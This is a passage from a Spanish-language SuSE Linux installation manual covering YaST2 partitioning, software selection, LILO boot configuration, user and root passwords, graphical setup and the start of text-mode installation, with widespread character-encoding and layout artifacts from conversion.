  2010.  *_______________________________________@
  2011.  
  2012.  
  2013.  
  2014.                            Paso 2
  2015.                            Es posible que se presente una de las siguientes situaciones:
  2016.  
  2017.  
  2018.                              o   En caso de que el disco no estuviera vacφo, YaST2  muestra todas las par-
  2019.                                  ticiones ya existentes, tal como la opci≤n `Todo  el  disco' .  TambiΘn
  2020.                                  se muestra el espacio libre, no particionado al ''final'' del disco duro; Θste
  2021.                                  estß seleccionado por defecto.  YaST2  solo puede usar el espacio libre al
  2022.                                  final, como espacio adicional para SuSE     Linux. Por ejemplo, si hay 3 par-
  2023.                                  ticiones configuradas, las particiones 1 y 2 se mantienen y la partici≤n 3
  2024.                                  se marca para ser usada por SuSE     Linux.
  2025.                                  Para usar todo el disco duro para SuSE     Linux seleccione `Todo  el  dis-
  2026.                                  co'.
  2027.                              o   En caso de un disco duro vacφo, todo el disco se usarß para SuSE     Linux.
  2028.  
  2029.                            Si las necesidades de particionar no concordasen con las posibilidades que se
  2030.                            ofrecen aquφ, vuelva `Atrßs' ~ como consta en la pßgina anterior ~ , para
  2031.                            particionar allφ manualmente con `Configuraci≤n  avanzada'.
  2032.                            ________________________________________________________________________________________________________*
  2033.  *________||
  2034.                            |  íTodos los datos que se encuentren en las particiones previstas para SuSE                            *
  2035.  *        ||||
  2036.                            |                                                                                                       *
  2037.  *        |||
  2038.                            |  Linux se perderßn, ya que es preciso formatearlas!                                                   *
  2039.  *        |||
  2040.                            |  Atenci≤n:   Si  se  selecciona  `Usar  todo  el  disco',  todos  los  datos                          *
  2041.  *        |||
  2042.                            |                                                                                                       *
  2043.  *        |||
  2044.                            |  en  el  disco  se  borrarßn;   tambiΘn  los  otros  sistemas  operativos  que                        *
  2045.  *        |||
  2046.                            |  se  encuentren  allφ  (ver  el  apartado  2.10.1  en  la  pßgina  77Establecer                       *
  2047.  *        |||
  2048.                            |                                                                                                       *
  2049.  *        |||
  2050.                            |  particionessubsection.2.10.1).                                                                       *
  2051.  *        |||
  2052.                            |_______________________________________________________________________________________________________*
  2053.  *________|||_
  2054.  
  2055.                            Al pulsar `Siguiente' en la instalaci≤n, tambiΘn se comprueba si hay su-
  2056.                            ficiente espacio de disco para la instalaci≤n mφnima, si se pueden a±adir tres
  2057.                            particiones adicionales y si es posible arrancar desde el disco duro.  ~ Si hay
  2058.                            algo que no encaja aparece una advertencia con la posibilidad de modificar la
  2059.                            selecci≤n que causa el problema.
  2060.  
  2061.                            Cuando todos los requisitos se cumplen y mßs tarde la verdadera instalaci≤n
  2062.                            comienza,  YaST2  configura  las  particiones.   Todo  el  disco  o  bien  la  zona
  2063.                            libre para SuSE      Linux se divide en tres particiones:  Una partici≤n peque±a
  2064.                            para /boot (alrededor de 16 MB, cuanto mßs cerca del comienzo del disco
  2065.                            mejor), una partici≤n para Swap (128 MB) y el resto para /). Hay informaci≤n
  2066.                            general sobre particiones en el apartado 2.8 en la pßgina 70Particionar para
  2067.                            principiantessection.2.8.
  2068.  
  2069.  
  2070.                            Posibles problemas
  2071.  
  2072.                              o   No es posible seleccionar una determinada partici≤n.  Dentro de la vφa de
  2073.                                  instalaci≤n estßndar, YaST2  no permite seleccionar particiones ''desde el
  2074.                                  interior'' del disco duro.  Para subsanar este problema hay que entrar a la
  2075.                                  `Configuraci≤n  avanzada' y particionar desde allφ.
  2076.  
  2077.                            2.1.9      Selecci≤n del software
  2078.  
  2079.                            Mediante los siguientes dißlogos en pantalla se puede determinar el contenido
  2080.                            de la instalaci≤n de SuSE     Linux. Para ello seleccione una de las posibilidades
  2081.                            disponibles tal como los componentes adicionales que desee.
  2082.  
  2083.  
  2084.  
  2085. 22
  2086.        __________________________________________________________________________________________________2.1.__íDirecto_al_Θxito!__*
  2087.  *______________________
  2088.  
  2089.  
  2090.  
  2091. Selecci≤n de software: Definir la base
  2092. Primero tiene que optar por el equipamiento bßsico de su sistema:
  2093.  
  2094.  
  2095.  
  2096. `Sistema  mφnimo'                ~ Se trata de un sistema operativo Unix en modo texto
  2097.       completamente funcional (el n·cleo y todas las utilidades importantes).
  2098.       Cuando hay poco espacio en el disco, este sistema permite probar el fun-
  2099.       cionamiento  de  SuSE     Linux.   TambiΘn  resulta  ·til  cuando  la  computa-
  2100.       dora  debe  trabajar  con  una  sola  aplicaci≤n  puntual  (espacio  requerido:
  2101.       150 MB      ).
  2102.  
  2103. `Sistema  estßndar'                  ~  Este  sistema  representa  un  conjunto  de  software
  2104.       equilibrado  para  el  inicio,  como  p. ej.  el  entorno  grßfico,  todo  para  im-
  2105.       primir, juegos, utilidades para el acceso y uso de Internet, editores, repro-
  2106.       ductor de CDs, etc. (espacio requerido: 500 MB      ).
  2107.  
  2108. `Casi  todo'           ~  Se  instala  `Casi  todo'  si  necesita  toda  la  variedad  del
  2109.       software SuSE     Linux o si quiere llegar a conocerla.  Esta opci≤n requiere
  2110.       mßs de 6 GB     de espacio en el disco duro.
  2111.  
  2112.  
  2113. El `Estßndar' se recomienda para el inicio.  Si hace falta mßs software es
  2114. posible instalarlo despuΘs.
  2115.  
  2116. Los  botones  bajo  `Software  adicional'  permiten  a±adir  determinados
  2117. componentes (''paquetes'') o bien excluirlos.
  2118.  
  2119.  
  2120. Selecci≤n extendida de software: Cambio de detalles
  2121.  
  2122. En caso de haber seleccionado `Software  adicional' en el dißlogo ante-
  2123. rior, ahora es posible modificar el conjunto de software en detalle.
  2124.  
  2125. Dentro del `Software  adicional' existen determinados conjuntos de pa-
  2126. quetes,  de  los  cuales  se  puede  seleccionar  toda  la  cantidad  deseada.   Para
  2127. el  caso  del  software  de  dominio  p·blico,  existe  la  posibilidad  de  instalar
  2128. las  fuentes  junto  con  los  programas  compilados  seleccionando  `Instalar
  2129. fuentes  disponibles'.  Estas fuentes pueden ocupar bastante espacio y
  2130. generalmente solo interesan a los programadores.
  2131.        _______________________________________________________________________________________________________________________||
  2132.  
  2133.        ||||||||  Es posible ampliar la selecci≤n de software en cualquier momento despuΘs                       |||            |
  2134.        ||||||||  de la instalaci≤n, ejecutando YaST2  o el tradicional YaST  (ver capφtulo 3                    ||             |
  2135.        ||||||||                                                                                                 ||             |
  2136.        ||||||||  en la pßgina 83YaST  ~ Yet another Setup Toolchapter.3). Si prefiere llegar                    ||             |
  2137.        ||||||||  ahora  mismo  al  final  de  la  instalaci≤n,  no  profundice  demasiado  en  la               ||             |
  2138.        ||||||||                                                                                                 ||             |
  2139.        ||||||||  ''jungla'' de aplicaciones ;-)                                                                 ||             |
  2140.        ||||||||_______________________________________________________________________________________________________________||_
  2141.  
  2142. TambiΘn existe `Software  comercial'; en el cuadro de dißlogo seleccione
  2143. los paquetes de software correspondientes.
  2144.  
  2145. Mediante  la  opci≤n  `Seleccionar  determinados  programas'  hay  ac-
  2146. ceso directo a cada paquete de software. Seleccionando o quitando paquetes,
  2147. YaST2  comprueba  permanentemente  si  se  cumplen  todas  las  dependencias
  2148. entre  los  mismos  y  propone  la  instalaci≤n  de  los  paquetes  que  hacen  falta
  2149. para  cumplir  todas  las  dependencias.   No  debe  haber  dependencias  sin  re-
  2150. solver para que el software pueda funcionar correctamente.
  2151.  
  2152.  
  2153.  
  2154.                                                                                                                                    *
  2155.  *     23
  2156. 2.  La primera instalaci≤n_de_SuSE______Linux______________________________________________________________________________________*
  2157.  *_______________________________________@
  2158.  
  2159.  
  2160.  
  2161.                            Posibles problemas
  2162.                              o   YaST2  comprueba la existencia de suficiente espacio para todo el soft-
  2163.  
  2164.                                  ware seleccionado.
  2165.                                  Si  no  hay  suficiente,  serφa  preciso  reducir  la  selecci≤n  de  software
  2166.                                  o  preparar  mßs  particiones  para  SuSE      Linux;   para  ello,  siga  la  in-
  2167.                                  dicaci≤n   `Atrßs'   hasta   la   pantalla   `Selecci≤n  del  destino  de
  2168.                                  instalaci≤n'   (apartado   2.1.8   en   la   pßgina   21Preparar   el   disco
  2169.                                  durosubsection.2.1.8).
  2170.                              o   Si se vuelve con `Atrßs' desde una pantalla posterior a la actual,  con
  2171.                                  el fin de modificar la selecci≤n de paquetes, los cambios realizados ante-
  2172.                                  riormente desaparecen.  Considere esto, para no tener que perder mucho
  2173.                                  trabajo minucioso.
  2174.  
  2175.                            2.1.10       LILO  ~ Gestor de arranque
  2176.  
  2177.                            Es necesario preparar un mecanismo de arranque para que Linux pueda ini-
  2178.                            ciarse.  Para ello es preciso decidir en quΘ lugar del sistema se debe instalar
  2179.                            el  gestor  de  arranque  LILO  (ingl.  LInux  LOader)  o  quΘ  otro  concepto  de
  2180.                            arranque se debe utilizar (hay mßs informaci≤n sobre este tema en el aparta-
  2181.                            do 2.3 en la pßgina 47┐C≤mo se debe arrancar Linux?section.2.3 y en el capφ-
  2182.                            tulo 4 en la pßgina 119Arrancar y gestor de arranquechapter.4).
  2183.  
  2184.                              o   Cuando SuSE     Linux no encuentra ning·n sistema operativo instalado en
  2185.                                  la computadora y si esto es correcto, todo resulta muy fßcil y no hace falta
  2186.                                  nada mßs que pulsar `Siguiente'.
  2187.                              o   YaST2 ofrece la posibilidad segura de generar un disquete de arranque en
  2188.                                  los siguientes casos:
  2189.                                  ~  La  distribuci≤n  de  particiones  en  el  disco  duro  no  permite  arrancar
  2190.                                  (lφmite de 1024 cilindros).
  2191.                                  ~ Por tener una mezcla de discos SCSI y (E)IDE no es posible averiguar
  2192.                                  con toda seguridad la posibilidad de arrancar.
  2193.  
  2194.                            Si YaST2  no llega a averiguar correctamente la situaci≤n o Usted quiere re-
  2195.                            alizar otro tipo de arranque, seleccione `Otra  configuraci≤n' para con-
  2196.                            figurar el arranque manualmente . ~ Mßs adelante encuentra mßs informaci≤n
  2197.                            al respecto.
  2198.  
  2199.  
  2200.                            LILO : Otra configuraci≤n de arranque
  2201.  
  2202.                            YaST2  ofrece ahora cuatro posibilidades:
  2203.  
  2204.                            `En  C:  (MBR  del  primer  disco  duro)'                            ~  LILO  debe  estar  de  todos
  2205.                                  modos en el +  MBR (ingl. Master Boot Record), si SuSE     Linux es el ·nico
  2206.                                  sistema operativo de la computadora.
  2207.                                  LILO  en  el  MBR  tambiΘn  puede  actuar  como  gestor  de  arranque  para
  2208.                                  varios sistemas operativos.  Solo opte por esa opci≤n cuando estΘ seguro
  2209.                                  de que LILO  es capaz de iniciar su sistema operativo ya instalado ~ nor-
  2210.                                  malmente este es el caso para DOS y Windows 95/98; ver apartado 4.7.1
  2211.                                  en la pßgina 135DOS/Windows 95/98 y Linuxsubsection.4.7.1. Si existen
  2212.                                  dudas al respecto es mejor seleccionar la opci≤n `Crear  un  disco  de
  2213.                                  arranque'.
  2214.  
  2215.  
  2216. 24
  2217.        __________________________________________________________________________________________________2.1.__íDirecto_al_Θxito!__*
  2218.  *______________________
  2219.  
  2220.  
  2221.  
  2222. `Crear  un  disco  de  arranque'                        ~ Si la computadora debe ejecutar var-
  2223.       ios  sistema  operativos,  existe  la  posibilidad  de  generar  un  disquete  de
  2224.       arranque para SuSE     Linux.  De esta forma no se modifica el mecanismo
  2225.       de arranque actual y se puede arrancar la computadora en cualquier mo-
  2226.       mento desde este disquete.  Para ir por el camino seguro es conveniente
  2227.       seleccionar esta opci≤n.
  2228.       Advertencia: Mßs adelante es posible configurar el arranque con LILO en
  2229.       el MBR usando YaST  (ver apartado 3.7.2 en la pßgina 105Configuraci≤n
  2230.       del kernel y arranquesubsection.3.7.2, `Configurar  LILO ').
  2231. `No  instalar  LILO  (otro  gestor  de  arranque)'                                    ~   Seleccionando
  2232.       esta opci≤n es posible seguir con el gestor de arranque anterior,  ya que
  2233.       no se modifica nada en el MBR (Master Boot Record); LILO  se instala
  2234.       en  la  partici≤n  /boot.   Sin  embargo  en  este  caso  hay  que  intervenir
  2235.       para  configurar  de  nuevo  el  gestor  de  arranque  existente.   Esta  posibil-
  2236.       idad  con  Windows  NT  y  Linux  se  explica  en  el  apartado  4.7.2  en  la
  2237.       pßgina 136Windows NT y Linux en un disco durosubsection.4.7.2.
  2238. `En  otra  partici≤n'                  ~ Se selecciona para indicar una partici≤n diferente
  2239.       por las razones expuestas en la opci≤n anterior.
  2240.  
  2241. Cuando haga falta, en el campo `Parßmetros  de  arranque' se indican los
  2242. ''parßmetros de kernel''.  Con estos se genera la lφnea append      ; ver p. ej.  en la
  2243. pßgina 131Otras opciones de configuraci≤n (Selecci≤n)Hfootnote.22 y en la
  2244. pßgina 360Parßmetros de arranque generalessubsection.14.3.2.
  2245.  
  2246. Con la opci≤n linear       los sectores de los discos duros no se referencian con
  2247. direcciones fφsicas sino con direcciones l≤gicas; se usa pocas veces (ver en la
  2248. pßgina 129Otras opciones de configuraci≤n (Selecci≤n)Hfootnote.21).
  2249.  
  2250.  
  2251. 2.1.11       Informaci≤n de usuario
  2252.  
  2253. Varios usuarios pueden trabajar simultßneamente usando SuSE     Linux y cada
  2254. usuario  que  quiera  entrar  al  sistema  tiene  que  identificarse  primero.   Este
  2255. proceso de identificaci≤n se realiza mediante el "login:".  Los datos que se
  2256. introducen aquφ (nombre y apellido, nombre de usuario y contrase±a) sirven
  2257. para esta identificaci≤n y para generar la ''cuenta de usuario''.
  2258.  
  2259. Introduzca  ahora  nombre  y  apellido  y  el  ''nombre  de  usuario''  tal  como  la
  2260. contrase±a, para la posterior identificaci≤n en SuSE     Linux.
  2261.  
  2262. Usando  el  bot≤n  `Sugerencia'  es  posible  conseguir  una  propuesta  au-
  2263. tomßtica para el ''nombre de usuario'', generado a raφz del nombre y apellido
  2264. (se puede modificar); tambiΘn es posible introducir directamente un nombre
  2265. a gusto propio.
  2266.  
  2267. Hay que introducir una contrase±a que se debe repetir para su comprobaci≤n.
  2268. Vigile la diferenciaci≤n entre may·sculas y min·sculas;  la contrase±a debe
  2269. tener un mφnimo de 5 caracteres y un mßximo de 8. No se permiten caracteres
  2270. acentuados, pero sφ los caracteres especiales como p. ej. #,.;    o cifras (0  hasta
  2271. 9 ) estßn permitidas.
  2272.  
  2273. Recuerde  bien  el  ''nombre  de  usuario''  y  la  contrase±a,  ya  que  siempre  los
  2274. necesita para trabajar con SuSE     Linux.
  2275.  
  2276. Con el bot≤n `Siguiente' se puede llegar a la pr≤xima ventana que pide la
  2277. contrase±a del superusuario `root'.
  2278.  
  2279.  
  2280.                                                                                                                                    *
  2281.  *     25
  2282. 2.  La primera instalaci≤n_de_SuSE______Linux______________________________________________________________________________________*
  2283.  *_______________________________________@
  2284.  
  2285.  
  2286.  
  2287.                            2.1.12       Establecer contrase±a de `root'
  2288.                            Bajo Linux el usuario `root' tiene privilegios especiales; Θl puede p. ej.  ini-
  2289.  
  2290.                            ciar  o  terminar  procesos  del  sistema,  generar  usuarios  o  borrarlos  y  modi-
  2291.                            ficar ficheros importantes del sistema.  TambiΘn se le llama ''superusuario'' y
  2292.                            cumple las tareas de un +  Administrador de sistema.
  2293.  
  2294.                            Para ello hay que introducir la contrase±a del superusuario `root'; la regla
  2295.                            es igual a la que existe para la contrase±a de un usuario.
  2296.                            ________________________________________________________________________________________________________*
  2297.  *________
  2298.                            |  Recuerde  bien  la  contrase±a  de  `root'  ya  que  posteriormente  no  hay                         *
  2299.  *        ||||
  2300.                            |                                                                                                       *
  2301.  *        |||
  2302.                            |  ninguna posibilidad de consultarla. La contrase±a se necesitarß para todas                           *
  2303.  *        |||
  2304.                            |  las tareas administrativas del sistema.                                                              *
  2305.  *        |||
  2306.                            |_______________________________________________________________________________________________________*
  2307.  *________|||_
  2308.  
  2309.                            Pulsando ahora `Siguiente' comienza la parte seria de la instalaci≤n.
  2310.  
  2311.  
  2312.                            2.1.13       Confirmaci≤n e inicio de la instalaci≤n
  2313.  
  2314.                            Ahora se muestran todos los datos introducidos hasta este momento con la
  2315.                            posibilidad  de  comprobarlos  y  ~  si  fuera  el  caso  ~  modificarlos,  usando  el
  2316.                            bot≤n `Atrßs' que permite regresar hasta la primera pantalla.
  2317.  
  2318.                            Si todo estß bien y se pulsa `Siguiente' aparece una pregunta de compulsa
  2319.                            (de  color  verde)  para  confirmar  que  realmente  debe  iniciar  con  los  datos
  2320.                            indicados:
  2321.  
  2322.                              o   DespuΘs de la confirmaci≤n con `Sφ  instalar', YaST2  comienza con
  2323.                                  la instalaci≤n del sistema.
  2324.  
  2325.                              o   Pulsando  `No'  se  pueden  controlar  los  datos  nuevamente  y  en  caso  de
  2326.                                  necesidad modificarlos, llegando a la pantalla en cuesti≤n con la opci≤n
  2327.                                  `Atrßs'
  2328.  
  2329.                            TambiΘn existe en este momento la posibilidad de cancelar completamente la
  2330.                            instalaci≤n de SuSE      Linux,  posponiΘndola para otro momento.  En tal caso
  2331.                            todas  las  indicaciones  y  ajustes  hechos  se  pierden.   Pulsando  `Cancelar
  2332.                            instalaci≤n'  la  computadora  se  detiene  despuΘs  de  una  confirmaci≤n  y
  2333.                            en este caso es seguro apagar o reinicializarla.  Hasta este momento no se ha
  2334.                            modificado nada en la computadora.
  2335.  
  2336.                            Para  ''expertos''  se  ofrece  la  posibilidad  de  `Grabar  configuraci≤n  en
  2337.                            disquete'.  Con esta opci≤n todos los ajustes se graban para poder usarlos
  2338.                            de nuevo en posteriores instalaciones.
  2339.  
  2340.                            DespuΘs  de  haberse  decidido  por  `Sφ  instalar'  se  puede  observar  a
  2341.                            YaST2  trabajando en la creaci≤n y el formateo de las particiones.  Seg·n la
  2342.                            velocidad de la computadora y el tama±o del disco duro, esto necesita alg·n
  2343.                            tiempo.  En lo posible hay que evitar cancelar este proceso, ya que el disco
  2344.                            duro podrφa pasar a un estado no definido.
  2345.  
  2346.                            DespuΘs se leen los paquetes del CD 1 y se instala primero el sistema base
  2347.                            de SuSE      Linux;  este sistema a base de pantallas de texto se inicia compul-
  2348.                            sando con `Siguiente'.  YaST2  contin·a con la instalaci≤n y en caso de
  2349.                            necesidad le pide los subsiguientes CDs. Si se usa `Cancelar' para parar la
  2350.                            instalaci≤n, no se podrß usar el sistema correctamente!
  2351.  
  2352.  
  2353. 26
  2354.        __________________________________________________________________________________________________2.1.__íDirecto_al_Θxito!__*
  2355.  *______________________
  2356.  
  2357.  
  2358.  
  2359. Seg·n lo que haya indicado en las opciones del apartado 2.1.10 en la pßgi-
  2360. na 24LILO  ~ Gestor de arranquesubsection.2.1.10, YaST2  pide que se intro-
  2361. duzca un disquete formateado para generar un disquete de arranque. íNo use
  2362. ninguno de los disquetes suministrados para ello!  En caso de instalar LILO
  2363. en el MBR, aparece un mensaje indicando el comando para recuperar el MBR
  2364. original; debe anotar esta informaci≤n.
  2365.  
  2366. íAhora SuSE     Linux se ha instalado exitosamente en la computadora!
  2367.  
  2368. De momento falta la preparaci≤n del entorno grßfico. Este paso no se requiere
  2369. si solo estß instalado el `Sistema  mφnimo', ya que Θste estß previsto para
  2370. operar solo en modo texto.  Ahora existe la primera oportunidad de probar
  2371. SuSE      Linux.
  2372.  
  2373.  
  2374.  
  2375. 2.1.14       Preparaci≤n del entorno grßfico
  2376.  
  2377. Para  ofrecer  un  entorno  grßfico  desde  el  primer  ''login''  al  sistema,  YaST2
  2378. trata de averiguar toda la informaci≤n necesaria sobre el monitor y la tarjeta
  2379. grßfica.
  2380.  
  2381. En el caso que esto sea posible, se seleccionan unos valores razonables para
  2382. la resoluci≤n de pantalla, la profundidad de color y la frecuencia de refresco;
  2383. despuΘs aparece la pantalla de prueba.
  2384.        _______________________________________________________________________________________________________________________
  2385.        ||||||||  íCompruebe la configuraci≤n antes de compulsarla con ''Okay''!  En caso                        ||             |
  2386.        ||||||||                                                                                                 ||             |
  2387.        ||||||||  de duda consulte la documentaci≤n sobre la tarjeta grßfica y el monitor.                       ||             |
  2388.        ||||||||_______________________________________________________________________________________________________________||_
  2389.  
  2390. En  el  caso  que  YaST2  no  reconozca  el  monitor,  seleccione  en  la  lista  el
  2391. modelo usado.  Si se trata de un modelo desconocido se deben introducir los
  2392. datos manualmente o leerlos de un disquete de drivers; en todo caso consulte
  2393. la documentaci≤n del monitor.  ~ Cuando no se necesite instalar el entorno
  2394. grßfico, hay que seleccionar `No  configurar  X11'.
  2395.  
  2396. Finalmente es preciso configurar la profundidad de color y la resoluci≤n del
  2397. monitor,  que  dependen  del  equipo  en  cuesti≤n  y  del  gusto  propio.   Como
  2398. profundidad de color (`Cantidad  de  colores') se recomienda 16bpp      .
  2399.  
  2400.  
  2401.  
  2402. Posibles problemas
  2403.  
  2404.   o   En pocas ocasiones serß preciso configurar el +  X-Server manualmente.
  2405.       Si fuese asφ el programa SaX  se iniciarφa; las instrucciones sobre su uso
  2406.       se encuentran en el apartado 8.1 en la pßgina 238Configuraci≤n con SaX
  2407.       section.8.1.
  2408.  
  2409.  
  2410. 2.1.15       Configurar hardware adicional
  2411.  
  2412. Ya durante esta fase de instalaci≤n es posible configurar algunos componentes
  2413. adicionales del sistema como p. ej.  la impresora, la tarjeta de sonido, la red o
  2414. el acceso Internet .
  2415.  
  2416. íSi ya se le ha hecho un poco tarde, no hay ning·n problema en posponer esta
  2417. actividad para el dφa siguiente!
  2418.  
  2419.  
  2420.  
  2421.                                                                                                                                    *
  2422.  *     27
  2423. 2.  La primera instalaci≤n_de_SuSE______Linux______________________________________________________________________________________*
  2424.  *_______________________________________@
  2425.  
  2426.  
  2427.  
  2428.                            2.1.16       Primer ''login'' al sistema
  2429.  
  2430.                            Ahora ha llegado el momento ~ puede entrar al sistema.
  2431.  
  2432.                            Aparece  el  ''login''  grßfico  (en  concreto  el  gestor  de  pantalla  kdm )  y  este
  2433.                            visualiza todos los usuarios dados de alta en el sistema. (figura 9.6 en la pßgi-
  2434.                            na 268kdm ~ ''login'' grßficosubsection.9.2.2).  Ahora no hace falta mßs que
  2435.                            indicar su nombre de usuario por detrßs de Login:       y la contrase±a para que
  2436.                            KDE (el ''K Desktop Environment'') se inicie.  Hay informaci≤n sobre KDE
  2437.                            en el apartado 9.2 en la pßgina 266KDE ~ K Desktop Environmentsection.9.2
  2438.                            o en pantalla mediante el sistema de ayuda (kdehelp ).
  2439.  
  2440.                            Trabajando  en  modo  texto  tambiΘn  se  introduce  el  nombre  de  usuario  por
  2441.                            detrßs de login:       y despuΘs de introducir la contrase±a aparece el +  Prompt
  2442.                            de Linux.
  2443.                            2.1.17       Configuraciones adicionales y trabajo con el sistema
  2444.  
  2445.  
  2446.                            Para  principiantes  en  materia  de  Linux,  el  capφtulo  19  en  la  pßgina  467In-
  2447.                            troducci≤n  a  Linuxchapter.19  del  manual  representa  una  buena  fuente
  2448.                            de  informaci≤n  asφ  como  el  anexo  F  en  la  pßgina  523Las  SuSE      Linux-
  2449.                            FAQappendix.F,  que  da  respuesta  a  preguntas  muy  frecuentes.    La  bib-
  2450.                            liografφa  (ver  en  la  pßgina  546Seguridad  y  servicios  de  mantenimiento
  2451.                            localessection.H.3)  menciona  libros  con  una  temßtica  mßs  avanzada;  al-
  2452.                            gunos  de  estos  se  presentan  brevemente  en  http://www.suse.de/de/
  2453.                            produkte/buecher/.
  2454.  
  2455.                            Ademßs recomendamos familiarizarse con el YaST  ''antiguo'' (capφtulo 3 en
  2456.                            la pßgina 83YaST  ~ Yet another Setup Toolchapter.3).
  2457.  
  2458.  
  2459.                              o   Los detalles sobre la configuraci≤n del entorno grßfico sistema X Window,
  2460.                                  se cubren en el capφtulo 8 en la pßgina 237El sistema X Windowchapter.8.
  2461.                                  La configuraci≤n del mismo con SaX  se detalla en el apartado 8.1 en la
  2462.                                  pßgina 238Configuraci≤n con SaX  section.8.1.
  2463.  
  2464.                              o   La  tarjeta  de  sonido  es  objeto  de  discusi≤n  en  el  apartado  10.3  en  la
  2465.                                  pßgina 290Tarjetas de sonidosection.10.3 ~ este capφtulo describe ''Linux
  2466.                                  y el hardware adicional'' en general.
  2467.  
  2468.                              o   El  capφtulo  12  en  la  pßgina  325Impresoraschapter.12  incluye  una  lista
  2469.                                  de  las  impresoras  soportadas  y  explica  su  configuraci≤n.   Para  conocer
  2470.                                  la configuraci≤n fßcil con YaST , consultar el apartado 3.7.1 en la pßgi-
  2471.                                  na 103Configurar impresorassubsection.3.7.1.
  2472.  
  2473.                              o   La  configuraci≤n  del  acceso  a  internet  se  explica  en  el  capφtulo  5.3  en
  2474.                                  la pßgina 171Configuraci≤n y usochapter.6.  Para configurar un modem
  2475.                                  consulte el apartado 6.5 en la pßgina 189Conexi≤n de modemsection.6.5,
  2476.                                  y para RDSI el apartado 6.2 en la pßgina 173Acceso a Internet vφa RDSI
  2477.                                  ~ la configuraci≤nsection.6.2.
  2478.  
  2479.                              o   El capφtulo 5 en la pßgina 153Linux en la redchapter.5 expone las posibil-
  2480.                                  idades de configuraci≤n de una red.
  2481.  
  2482.  
  2483. 28
  2484. __________________________________________________________________________________________________2.1.__íDirecto_al_Θxito!_________*
  2485.  *_______________
  2486.  
  2487. _______________________________________________________________________________________________________________________
  2488. ||||||||  Para  acoplar  una  red  interna  con  una  conexi≤n  RDSI  se  requieren                      |||            |
  2489. ||||||||| conocimientos  avanzados  sobre  redes.   Busque  en  libros  especializados                   ||             ||
  2490. ||||||||                                                                                                 |||            |
  2491. ||||||||  bajo  las  palabras  clave  ''Gateway''  (pasarela),  ''Firewall''  (cortafuegos)  o           ||             |
  2492. ||||||||  ''Router'' (enrutador).                                                                        ||             |
  2493. ||||||||_______________________________________________________________________________________________________________||_
  2494.  
  2495.  
  2496.  
  2497.                                                                                                                                  29
  2498. 2.  La primera instalaci≤n_de_SuSE______Linux______________________________________________________________________________________*
  2499.  *_______________________________________@
  2500.  
  2501.  
  2502.  
  2503.                            2.2       Instalaci≤n con YaST  en modo texto (YaST  1)
  2504.  
  2505.                            Muchos caminos conducen a la instalaci≤n de Linux, pero algunos de ellos
  2506.                            son mßs complicados que otros.
  2507.  
  2508.                            Si Usted no es principiante en el tema de Linux tal vez le parecerßn largas
  2509.                            o  innecesarias  algunas  explicaciones,  pero  recuerde  simplemente  aquellos
  2510.                            tiempos cuando tenφa su primera computadora y exprimφa con gusto cualquier
  2511.                            fuente de informaci≤n. . .
  2512.  
  2513.                            2.2.1      La situaci≤n principal
  2514.  
  2515.                            En el caso de SuSE      Linux,  estß a disposici≤n la herramienta de instalaci≤n
  2516.                            YaST  que le guφa fielmente desde la preparaci≤n del disco duro, pasando por
  2517.                            la instalaci≤n del software hasta la configuraci≤n de un login grßfico.
  2518.  
  2519.                            En el ''caso normal'' se deben cumplir los siguientes requisitos:
  2520.  
  2521.                              o   Se puede arrancar la computadora desde el disquete de arranque (''Boot-
  2522.                                  disk'') incluido o bien, desde el CD 1 directamente.
  2523.  
  2524.                              o   El disco duro tiene espacio libre sin particionar y suficiente espacio para
  2525.                                  la instalaci≤n de Linux o, hay un disco suficientemente grande para el uso
  2526.                                  exclusivo con Linux.
  2527.  
  2528.                              o   El +  CD-ROM se ve soportado por Linux.   Si todavφa no lo sabe, íno se
  2529.                                  asuste! Es posible averiguarlo.
  2530.  
  2531.                            Si uno de estos requisitos no se cumple, existen alternativas para la instalaci≤n
  2532.                            que se detallan a continuaci≤n de esta secci≤n (apartado 2.4 en la pßgina 49In-
  2533.                            stalaci≤n sin soporte del lector CD-ROMsection.2.4).
  2534.  
  2535.  
  2536.                            2.2.2      A continuaci≤n: La pantalla de bienvenida
  2537.  
  2538.                            Por favor ``abr≤chese el cintur≤n'' e inserte el CD 1 y/o el disquete de arranque
  2539.                            en sus correspondientes dispositivos de lectura y encienda la computadora. Si
  2540.                            Θsta no quiere arrancar, tal vez sea necesario cambiar la secuencia de arranque
  2541.                            en la +  BIOS de la computadora a A,C    o CDROM,C,A        .
  2542.  
  2543.                            DespuΘs de un breve instante aparece la pantalla de bienvenida (figura 2.1 en___
  2544.                            la pßgina siguiente).  Dentro de 3 segundos debe apretar un tecla (p. ej. |T____a|b),
  2545.                            para que YaST2  no se inicie automßticamente._ Introduzca ahora manual       en
  2546.                            el prompt (boot:     ) y pulse |_____-|:
  2547.  
  2548.                                boot:  manual  |______|-
  2549.  
  2550.  
  2551.                            A  continuaci≤n  aparecerßn  en  la  parte  inferior  de  la  pantalla  los  mensajes
  2552.                            "Loading  initdisk.gz..." y "Loading  linux..."; despuΘs arranca el
  2553.                            +  Kernel  y  linuxrc  se  inicia  esperando  los  ≤rdenes  del  usuario  (funciona  a
  2554.                            base de men·s).
  2555.  
  2556.  
  2557.                            Posibles problemas
  2558.  
  2559.                              o   Si  un  lector  CDROM  del  tipo  ATAPI  llegara  a  ''trabarse'',  consulte
  2560.                                  el  apartado  2.7.5  en  la  pßgina  64Un  lector  CD-ROM  ATAPI  se  traba
  2561.                                  leyendosubsection.2.7.5.
  2562.  
  2563.  
  2564. 30
  2565.        _____________________________________________________2.2.__Instalaci≤n_con_YaST__en_modo_texto_(YaST__1)____________________*
  2566.  *______________________
  2567.  
  2568.                   Figura 2.1: La pantalla de bienvenida de SuSE     Linux
  2569.  
  2570.  
  2571.  
  2572.   o   El  CD  1,  que  incorpora  un  kernel  optimizado  para  Pentium,  no  se  re-
  2573.       conoce como arrancable:  Puede tratar de usar el CD 2 o el disquete de
  2574.       arranque (''Bootdisk''); ver apartado 2.6.2 en la pßgina 59Arrancar con el
  2575.       CD 2subsection.2.6.2.
  2576.  
  2577.   o   Con parßmetros de kernel se puede resolver normalmente los demßs prob-
  2578.       lemas  de  arrancar;  ver  apartado  14.3.2  en  la  pßgina  360Parßmetros  del
  2579.       kernel en el Boot-Promptsubsection.14.3.2.
  2580.  
  2581.  
  2582. 2.2.3      La base: linuxrc
  2583.  
  2584. Con el programa linuxrc  se cargan todos los drivers como m≤dulos del ker-
  2585. nel,  en el caso que fuera necesario.  DespuΘs linuxrc  inicia el programa de
  2586. instalaci≤n YaST  y la verdadera instalaci≤n de los programas de sistema y de
  2587. las aplicaciones comienza.
  2588.  
  2589. El manejo de linuxrc_es muy_sencillo.  Con |"__|y |#__|se selecciona una opci≤n
